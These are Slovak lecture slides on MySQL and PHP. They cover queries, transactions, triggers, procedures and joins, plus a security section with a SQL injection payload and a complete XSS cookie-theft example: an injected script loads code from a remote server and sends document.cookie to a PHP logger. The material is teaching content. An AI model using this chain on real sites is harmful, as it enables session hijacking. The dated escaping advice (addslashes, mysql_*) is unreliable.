MYSQL & PHP

3/29/10

Pavol Červenka

Trocha histórie

- Prvý krát vydané 1996
- 2001 spoločnosť MySQL AB
- 2003 MySQL 4 – poddotazy, cache
- 2005 MySQL 5 - cudzie kľúče procedury, triggery, information_schema

Prečo je MySQL populárna?

- Flexibilita – dodáva sa pre 12 platforiem(Win, Mac, Linux, FreeBSD, Nowell Netware atď.)
- API – C, C++, Java, Perl, Ruby, PHP …
- Ukladacie enginy – MyISAM, MEMORY, InnoDB, MERGE…
- Výkon – cachovanie, fulltext, replikácie, bezpečnosť
- Licenčná politika – GNU GPL, platené licencie

Známe tváre internetu

- Craiglist.org
- Yahoo! Finance
- Wikipedia
- NASA
- CNET Networks
- iStockPhoto

4 najhlavnejšie dotazy na db

SELECT

```
$result = mysql_query("SELECT * FROM table");
```

INSERT

```
$result = mysql_query("INSERT INTO table VALUES
  (value1, value2, value3)");
```

UPDATE

```
$result = mysql_query("UPDATE table SET
  column1=value1 WHERE some_column=some_value");
```

DELETE

```
$result = mysql_query("DELETE FROM table WHERE
  some_column=some_value");
```

Ošetrovanie vstupov

- Vstupy zo superglobalnych premennych $_POST, $_GET, $_REQUEST
- Základné mechanizmy: `is_numeric(); is_int()` – napr. pri idčkach
- `is_string(); empty();` overovanie vstupných polí formulára
- Pri formulárových vstupoch
  `htmlspecialchars(addslashes($_POST[”udaj"]));`
- `mysql_real_escape_string();`

SQL injection a XSS

- Sql injection funguje vďaka neošetrovaniu vstupov
- Používa adresný riadok alebo formulárové vstupy
- Základný útok `or '1'='1'`
- Viaceré db kontá s rôznymi prístupmi
- XSS – napadnutie formulárových polí javascriptom
- `<script>alert('XSS')</script>` základné zistenie napadnuteľnosti
- Slúži na odchytávanie cookies, session informácií atď.

Príklad XSS útoku


```
// vložíme do neošetreného formulárového poľa
<script src="http://nas.server.sk/xss/xss.js" type="text/
   JavaScript"></script>

// súbor http://nas.server.sk/xss/xss.js obsahuje čítanie z
   cookie
new Image().src="http://nas.server.sk/xss/log.php?
   c="+encodeURI(document.cookie);
// log.php obsahuje jednoduché zaznamenávanie cookies
<?
if(isset($_GET) && array_key_exists('c', $_GET)) {
        fwrite(fopen('log.txt', 'a'), $_GET['c'] . "\n");
}
?>
```

MySQL a transakcie

- Podpora len v InnoDB a BDB
- Malý príklad:

1. Je prijatá objednávka a zapísaná do denníka objednávok
2. Je vystavená faktúra (a zapísaná do zodpovídajúcej agendy)
3. Zo skladových kariet tovaru je odpočítaný zodpovídajúcí počet kusov
4. Do pokladni je pričítaná cena za uvedený tovar.

Úlohou transakcie je zabezpečiť aby prebehli v jednom vrhu všetky dané body, alebo v prípade nejakej chyby aby boli všetky zamietnuté. To znamené že transakcie musia byť atomické. Dáta, s ktorými transakcia pracuje nie su prístupné v čase vykonávania transakcie žiadnemu inému vstupu.

Príklad transakcie


```
create table platy (zamestnanec varchar(50), plat int)
   type=innodb;

insert into platy values ('Jarda',12000);
insert into platy values ('Pepa',15000);
insert into platy values ('Petr',14000);
insert into platy values ('Pavel',10000);
insert into platy values ('Šárka',16000);
insert into platy values ('Monika',13000);

start transaction;
update platy set plat=plat+2000 where plat < 15000;
update platy set plat=plat*1.1;
commit;
```

Triggery a procedúry

- Prečo ich používať?
- Triggermi sa overuje platnosť – napr. Zistenie tovaru na sklade, zálohovanie údajov db
- Triggery sú automatizované
- Before trigger vs. after trigger
- Before: chcete zvýšiť plat, ale je väčší ako povolené maximum tak sa automaticky zamení danou maximálnou hodnotou
- After: zadáte požiadavku na technika, ak však technik o týždeň ochorie bude nedostupný, požiadavka sa automaticky presunie medzi nezaradené

Príklad triggery


```
create table bezpecna_zaloha like bezpecna;
alter table bezpecna_zaloha add column cas_odstraneni datetime;
alter table bezpecna_zaloha add column uzivatel varchar (128);
//vytvorenie triggera
create trigger trSaveRows
before delete
on bezpecna
for each row
begin
  insert into bezpecna_zaloha(id, jmeno, plat, cas_odstraneni, uzivatel)
  values (old.id, old.jmeno, old.plat, now(), user());
end;
// kontrola práce triggera
delete from bezpecna where id > 2;
select * from bezpecna;
select * from bezpecna_zaloha;
```

Procedury

- Možnosť využiť aplikáciami v rôznych jazykoch
- Zjedodušenie komplikovaných operácií
- Bezpečnosť – pri citlivých informáciách nie je vidieť vnútorná štruktúra tabulky, ktorá je skrytá za procedúrou
- Rôzne matematické výpočty
- Nevýhodou je vyšší nárok na prostriedky

Príklad na procedúru


```
//vytvorenie procedury
create procedure sp_VratSoftware()
begin
  select * from software;
end

//zavolanie procedury
call sp_VratSoftware()
```

Joiny

- Inner – vyhodí údaje ktoré si v tabuľkách presne zodpovedajú
- Outer
- Left / Right

- Zjednodušenie zložitých db výpisov - efektivita

Príklad Join


```
// klasický select
select knihy.id, knihy.nazev, druhy.nazev as druh,
max_doba_vypujcky from knihy, druhy where knihy.druh =
   druhy.id;
// inner join
select knihy.id, knihy.nazev, druhy.nazev as druh,
max_doba_vypujcky from knihy inner join druhy on
   knihy.druh = druhy.id;
```

Inner join zabezpečí, že sa vypíšu len knihy ktoré majú zadaný žáner.

Príklad join(2)


```
//select ktorý chce aj knihy bez žánru
select knihy.id, knihy.nazev, druhy.nazev as druh,
max_doba_vypujcky from knihy, druhy where knihy.druh
  = druhy.id or knihy.druh is null;
// pomocou left/right join jednoducho
select knihy.id, knihy.nazev, druhy.nazev as druh,
max_doba_vypujcky from knihy left join druhy on
  knihy.druh = druhy.id;
```

vďaka slovu left sa zabezpečí, že sa z tabulky kníh vytiahne všetko a z tabuľky žánrov len súvisejúce dáta

Ďalšie dôležité pomôcky v db

- IF klauzula

```
SELECT meno,priezvisko,vek, IF(vek > 35,'priemerny','mlady')
   AS staroba FROM udaje WHERE vek IS NOT NULL;
```

- CASE

```
SELECT meno, priezvisko, vek,
CASE
  WHEN vek <= 25 THEN "najmladsi"
  WHEN vek > 25 AND vek <= 35 THEN "stredny"
  WHEN vek > 35 THEN "starsi"
END AS n_vek FROM udaje WHERE vek IS NOT NULL;
```

Ďakujem za pozornosť

Nejaké otázky?